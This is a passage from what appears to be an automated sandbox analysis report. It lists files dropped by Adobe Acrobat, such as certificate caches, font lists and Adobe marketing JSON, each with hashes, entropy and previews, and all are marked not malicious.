Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7282048283587708
Encrypted:	false
SSDEEP:	3:kkFklxG0ClltfllXlE/HT8kwXzttNNX8RolJuRdxLlGB9lQRYwpDdt:kKN0C/eT89VNMa8RdWBwRd
MD5:	ECA18249524245DBC07309CDB30ECA06
SHA1:	9083F01406F1C5645BFB116ED8AFA3D0E4D1CFA5
SHA-256:	DAD5E1074FD8A3194C491B36DAB52854B366C6B8C933A7B99EC035CC3502E0A4
SHA-512:	2EF4E42B0E5B5EBC35A60B8AB03127DF093295E6E056348D14ECFA0875FAA50AE7E8B8B79C6E0F3D3D6564C3C2A09214CC0905C22D24F8FC025EC818F658852B
Malicious:	false
Preview:	p...... ..........PQ.c..(....................................................... ..........W....Ur..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.231099772728515
Encrypted:	false
SSDEEP:	6:kKj3tL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:7diDImsLNkPlE99SNxAhUe/3
MD5:	9B0C64F6CCE1795CCFB73E48BAE09B61
SHA1:	45DB47FF083B7492418E3A00D9AFBEB38A9BFBBD
SHA-256:	BD9D6000D111136C377594374C59A797057CC5AF2ED77A5C0EF5B1AE72BEE91C
SHA-512:	EC50528C939672D460A24243CBCCF13C90B98422AA1D9777E149DF3C530AB7780087EF4020CE71394273A8F86B88172859200768EE6216985663B58B50F4E248
Malicious:	false
Preview:	p...... .........?.c.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.8052

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.8052

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3534882339448036
Encrypted:	false
SSDEEP:	6:YEQXJ2HXM/h1BJNVyUib5Glvp0Y5q3xoAvJM3g98kUwPeUkwRe9:YvXKXMZ1BJNcUitoEOGMbLUkee9
MD5:	73ADB1436E837592B6D52CFD2502E063
SHA1:	25C014DC63A0A1D1EC2C1D526CF47D8E44E79BCF
SHA-256:	97FC64B3FB311D1430DB2465D8753E55E24EED24D3219C013EC884061F467A71
SHA-512:	A77265D8B898995AF5AB209D97F62E13FC8D23F7ECDE3EA59C7F1BF83976F84C56FCDD71B27D56993760BBB7794295F6A46E9E2C1A956CDD77C97D8FC4BE6319
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"98a920ed-a7ce-4c77-bcbc-6c1b98cbcf49","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736745063717,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.297063406909319
Encrypted:	false
SSDEEP:	6:YEQXJ2HXM/h1BJNVyUib5Glvp0Y5q3xoAvJfBoTfXpnrPeUkwRe9:YvXKXMZ1BJNcUitoEOGWTfXcUkee9
MD5:	89CE4AE2C180DEF4B3E97EA643D3BF5A
SHA1:	8D259E6431FC7A69496101CD89A7E4624091364F
SHA-256:	C1BE774EB7EF7476D5DB06C6FAB70CB9721FB85605173349F24E28242CD700D8
SHA-512:	17F25BA38C99A4A5EED7D6CEC4DB44F96EB72D225E7D868E3B491A94002A8040DE99C910A1992CC0AB798AA9ACE71AB931E7A7A573ABBE0CDB74FA4474424DA4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"98a920ed-a7ce-4c77-bcbc-6c1b98cbcf49","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736745063717,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.273839389769976
Encrypted:	false
SSDEEP:	6:YEQXJ2HXM/h1BJNVyUib5Glvp0Y5q3xoAvJfBD2G6UpnrPeUkwRe9:YvXKXMZ1BJNcUitoEOGR22cUkee9
MD5:	DA5197B5D80E389BB7179AE75A09AFCF
SHA1:	09144D90AD7FDF929BC22145143EC221E9C4509F
SHA-256:	8D0A5E103C2C724C26DA597EBA21DF99CA8D59FEC90897DB778433721A168763
SHA-512:	37C9B84E3C639822E14514FAE9F3AD5D77BD0157BDED30E08EF0A1BD55AAB739FAC6DBB915F44C5BCA3EDCC1EE3DB1259B72C627BD2CC99746DDF838608A4A7F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"98a920ed-a7ce-4c77-bcbc-6c1b98cbcf49","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736745063717,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3438202490308155
Encrypted:	false
SSDEEP:	6:YEQXJ2HXM/h1BJNVyUib5Glvp0Y5q3xoAvJfPmwrPeUkwRe9:YvXKXMZ1BJNcUitoEOGH56Ukee9
MD5:	106EC5B8FDB18764EC62ACABF8263AF3
SHA1:	0A02CC4EEA9B40C877A232E1ADA7D129297F0BF6
SHA-256:	7F9F538380E062F903166DC534ABA9F8C8B82823112971E3DCA5FC1061BF22F8
SHA-512:	9E36A24E5A75769DADAC1394721E004575470D76B702C0D0C81A35B6A69CC9A52A2AE67CB4B5185C899385F21C96CF5CAC584BDE2678806961768EAE1B97025B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"98a920ed-a7ce-4c77-bcbc-6c1b98cbcf49","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736745063717,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.688544213153002
Encrypted:	false
SSDEEP:	24:Yv6XMZPJNs6YpLgE9cQx8LennAvzBvkn0RCmK8czOCCS+:YvnZPns6Yhgy6SAFv5Ah8cv/+
MD5:	3B180DFB8D5CC93EE27EE889B2B62762
SHA1:	90F7DC1025C3CA15E5F476516D16FBF20B543546
SHA-256:	908DFF52A4F5B85116EAB97709DE6E0B9C608116C24351EEF0D6EDC45CDD7AE9
SHA-512:	A0BE53E8F4C889F21A82CD54FDEF2390AB22CA4CEEA2A6CCE6069887704903A2F65A633AEE29F7A2430057D1B67CC8D031F86D7FDE6E2D9819474111F7D1ADF1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"98a920ed-a7ce-4c77-bcbc-6c1b98cbcf49","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736745063717,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.289665544331552
Encrypted:	false
SSDEEP:	6:YEQXJ2HXM/h1BJNVyUib5Glvp0Y5q3xoAvJf8dPeUkwRe9:YvXKXMZ1BJNcUitoEOGU8Ukee9
MD5:	5708A176DE6CFE174236DA8406836CAA
SHA1:	FF312902A7E39914E13F280FE6532C1011186B5D
SHA-256:	65EBD44F6BC6423955C69B2434909545657D63615003BC32C7325574B5C21AF4
SHA-512:	9C6782DB055D8CCAB086CB1AA4A32FF0AE339DE40A4120AAC22AD3094E07863201042928900050BE64DA48117D8883A5DA5D47B0C570B245B09E71204979758C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"98a920ed-a7ce-4c77-bcbc-6c1b98cbcf49","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736745063717,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.290745119663873
Encrypted:	false
SSDEEP:	6:YEQXJ2HXM/h1BJNVyUib5Glvp0Y5q3xoAvJfQ1rPeUkwRe9:YvXKXMZ1BJNcUitoEOGY16Ukee9
MD5:	84AF571F0B0D9CA473103131AE73AB2A
SHA1:	387BA20A346DF221EE766A214A973A631DB4642D
SHA-256:	72711D4F0A04092E6A22322D26871C6B7FD94FC3FD21C16D6ABC5A09E9EB9C66
SHA-512:	2094A7E38E06113E69C5EBF2097A28C559A691E6ADC0E40D7DCD1FF41EA31FF1BB7BB4D1743EA9024B20166E2A5B1F380A1513E15786CB3DF55C6038897A9671
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"98a920ed-a7ce-4c77-bcbc-6c1b98cbcf49","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736745063717,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.301919037611069
Encrypted:	false
SSDEEP:	6:YEQXJ2HXM/h1BJNVyUib5Glvp0Y5q3xoAvJfFldPeUkwRe9:YvXKXMZ1BJNcUitoEOGz8Ukee9
MD5:	1A442663815ABC8E29AF56A475D77B8C
SHA1:	5D85A0C56A96717EFBB68E3823B1AA14AD1D866C
SHA-256:	4696FA4A7F6111DB81B2F9C9C37E95CFCFB311C6CD3E6F15822BEC9A5BD5808D
SHA-512:	6DBA57A6E29CCC4697F9B6EFC645F2E3F208F1799318177099DE21C97801EFF6C6068C1B9F7E1A92D0D796F386448F4CA5C3512D1E2E26D4896C860396A0CDC8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"98a920ed-a7ce-4c77-bcbc-6c1b98cbcf49","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736745063717,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.317300553755994
Encrypted:	false
SSDEEP:	6:YEQXJ2HXM/h1BJNVyUib5Glvp0Y5q3xoAvJfzdPeUkwRe9:YvXKXMZ1BJNcUitoEOGb8Ukee9
MD5:	8EB0CC68CB9035E9DDBA18543B8F1110
SHA1:	F6F665D5CDCBC47C48DF6B5B03EBF37CB5503BA1
SHA-256:	59626EE48E4BEA96EA5CCDA3B22B76F58994E00EC72AD8F0C69F5E9F4682FDAD
SHA-512:	39CCA413AA75FCFB86F09C011F5070D6FE54F57459837B19F329F7206CF2C10D02ACFDCB28B26A84E2053DD1AB6EC95D0DD04CA0B2BC5C278BF4F2EB43932D38
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"98a920ed-a7ce-4c77-bcbc-6c1b98cbcf49","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736745063717,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2979014646854745
Encrypted:	false
SSDEEP:	6:YEQXJ2HXM/h1BJNVyUib5Glvp0Y5q3xoAvJfYdPeUkwRe9:YvXKXMZ1BJNcUitoEOGg8Ukee9
MD5:	0DAA601FA6FDEA9AACAC746637A905A9
SHA1:	D58D3F2EAE66C0EE951F27D6E35368429ECE6913
SHA-256:	EAB48CE8EE7434663BEABE6D7B6838CA40B98F733F979C56B0962A0BD274C309
SHA-512:	D53FF942658C71B97C7930BAA01752685E053EBA32BEC74B1C1D0668BCA1F4FFE071E0F8A040009B91D5A9A8C849B56799B694E3AD92A7CC05AB6BCFD1AA2255
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"98a920ed-a7ce-4c77-bcbc-6c1b98cbcf49","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736745063717,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.28421388239172
Encrypted:	false
SSDEEP:	6:YEQXJ2HXM/h1BJNVyUib5Glvp0Y5q3xoAvJf+dPeUkwRe9:YvXKXMZ1BJNcUitoEOG28Ukee9
MD5:	BA61A2349F0867E8D478F20F5377B7DD
SHA1:	2F5B1F9E48BF87D0FE9FBDFDFDC5ED8D34366E8B
SHA-256:	0E8AEEF1D5D4BACA19FB7467D3F17ACBDFE457CA073BC498992EADD760BDDFFF
SHA-512:	947CBE0623293420501D7917FF6169E462D52B8CB0DB12117960F9C2D25A9F6B95D92BF37DEA8AF47F07A44601490C2664B966EFB5432F37AC3EDA2DD9943D9D
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"98a920ed-a7ce-4c77-bcbc-6c1b98cbcf49","sophiaUUID":"21741F16-CF05-493A-BED4-5E1A441F2BF2"},"encodingScheme":true,"expirationDTS":1736745063717,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
